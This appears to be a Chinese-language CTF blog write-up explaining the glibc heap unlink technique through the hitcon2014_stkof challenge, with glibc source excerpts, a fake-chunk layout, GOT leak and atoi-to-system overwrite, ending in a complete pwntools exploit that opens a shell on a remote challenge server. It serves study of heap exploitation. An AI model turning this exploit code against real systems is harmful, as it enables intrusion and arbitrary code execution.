Unlink
unlink是完成堆题的一种技巧
打buuctf的时候正好碰到了题目学习后来记一下
0x01 源码入手
据说老版的unlink和新版的unlink有不同
老版的unlink是没有检测的
碰到的题目是2.23的libc看了下源码好像是有检测的,不知道老版是啥时候的了
先来看看_int_free函数中的部分代码,前面的就先不看了,看着累..技术不够也不能完全看懂
1 2 3 4 5 6
| if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
如果上一个堆块是被释放的则进入unlink让2个堆块合并
再来看看unlink
1 2 3 4 5 6 7 8 9 10 11
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ ............. } \ }
|
一般堆题都有堆块索引表,在bss段里面,所有申请出来的堆块指针存入索引表中
(因为堆题做得少不敢说全部都有..)
unlink可以实现任意写的漏洞,通过修改堆块索引表GetShell
下面来看道题目理解下
0x02 hitcon2014_stkof
其实网上很多unlink相关的文章都是用这道题的,不过写一篇加深下印象也挺好
先来看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| __int64 __fastcall main(int a1, char **a2, char **a3) { int v3; int v5; char nptr[104]; unsigned __int64 v7;
v7 = __readfsqword(0x28u); while ( fgets(nptr, 10, stdin) ) { v3 = atoi(nptr); if ( v3 == 2 ) { v5 = edit(); goto LABEL_14; } if ( v3 > 2 ) { if ( v3 == 3 ) { v5 = e(); goto LABEL_14; } if ( v3 == 4 ) { v5 = output(); goto LABEL_14; } } else if ( v3 == 1 ) { v5 = add(); goto LABEL_14; } v5 = -1; LABEL_14: if ( v5 ) puts("FAIL"); else puts("OK"); fflush(stdout); } return 0LL; }
|
这道题因为没有菜单函数看着还是有点难受的,进去读了函数功能可以知道
编号 |
功能 |
参数 |
返回值 |
1 |
create |
size |
成功返回申请的是第几个堆块和OK,失败FAIL |
2 |
edit |
index, size, content |
成功OK,失败FAIL |
3 |
free |
index |
成功OK,失败FAIL |
4功能无用,不能输出堆块中的内容所以就不看了
各功能就不详细进去看了,因为没有什么特别的地方,edit存在堆溢出,可以指定size溢出到下一个堆块
在bss的0x602100记载了堆块的数量
0x602140为堆块的索引表
直接来动态看看吧
先申请0x100,0x30,0x80三块堆
分配0x100好像是因为这题没有setbuf,所以要申请一个大堆块避免被映影响,详细不是很清楚以后学到了再写吧
主要关注0x30和0x80,堆索引表在0x602140,可以到申请的几个堆块
接下来要在0x30的堆块中构造fake chunk来绕过unlink检测
这里直接贴被修改后的堆块再来解释
0x2c0c540就是构造的fake chunk
结合上面的代码看需要绕过
所以被释放的堆块inuse位要修改为0,也就是0x90
下面是bk和fd
0x2c0c570是prevsize,用来表示上一个堆块的大小
1 2
| size += prevsize; p = chunk_at_offset(p, -((long) prevsize));
|
在这里用到
这时候的p为0x2c0c540,进入unlink
unlink有四个参数,AV用不到可以不管
另外的就是p还有fd和bk
1 2 3 4 5 6 7 8 9
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ \ }
|
来看看索引表
来计算下
FD->bk = *(0x602138+0x18) = 0x2c0c540
BK->fd = *(0x602140+0x10) = 0x2c0c540
这样就绕过判断走到下面了
1 2 3 4 5 6 7
| else { \ FD->bk = BK; BK->fd = FD; ............. }
|
最后0x602150的就指向了0x602138,修改了堆块索引表
到这步就很简单了
接下来只要修改第二个堆块就会找到0x0000000000602138
将索引里面的地址改为got泄露出libc地址后再将atoi的got表修改为system
在输入编号的时候输入/bin/sh就完成了
1 2 3
| payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
|
先将索引堆块改为这样,加个0是因为索引表是0x602140开始的,但是写的是0x602138开始的
修改后的索引表是这样的
1 2 3
| payload = p64(puts_plt)
edit(0,len(payload),payload)
|
将索引0的位置改为puts@plt,这里本来是free函数
这样调用free就相当于调用了puts
再释放索引1位置也就是打印puts@got得到libc中puts函数的地址
得到基址算出system函数的地址覆盖到索引2上也就是atoi@got
得到libc里/bin/sh的指针
在atoi接收参数的时候输入/bin/sh的指针就相当于system(“/bin/sh”)了
最后GetShell
贴一下完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug") pwnfile = "./stkof"
elf = ELF(pwnfile)
host = "node4.buuoj.cn" port = 29286 io = remote(host, port)
def create(size): io.sendline(str(1)) io.sendline(str(size)) io.recvuntil("OK\n")
def edit(index, size, content): io.sendline(str(2)) io.sendline(str(index)) io.sendline(str(size)) io.send(content) io.recvuntil("OK\n")
sleep(1)
def delete(index): io.sendline(str(3)) io.sendline(str(index)) sleep(1)
heap_array = 0x602140 puts_plt = 0x400760
create(0x100) create(0x30) create(0x80)
payload = p64(0) payload += p64(0x30) payload += p64(heap_array + 16 - 0x18) payload += p64(heap_array + 16 - 0x10) payload = payload.ljust(0x30, '\x00') payload += p64(0x30) payload += p64(0x90)
edit(2, len(payload), payload)
delete(3)
payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
delete(1) puts_addr = u64(io.recv()[3:9].ljust(8,'\x00')) log.success(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr) base = puts_addr - libc.dump('puts')
log.success(hex(base))
system_addr = base + libc.dump('system') bin_sh_addr = base + libc.dump('str_bin_sh')
payload = p64(system_addr) edit(2,len(payload),payload) io.send(p64(bin_sh_addr))
io.interactive()
|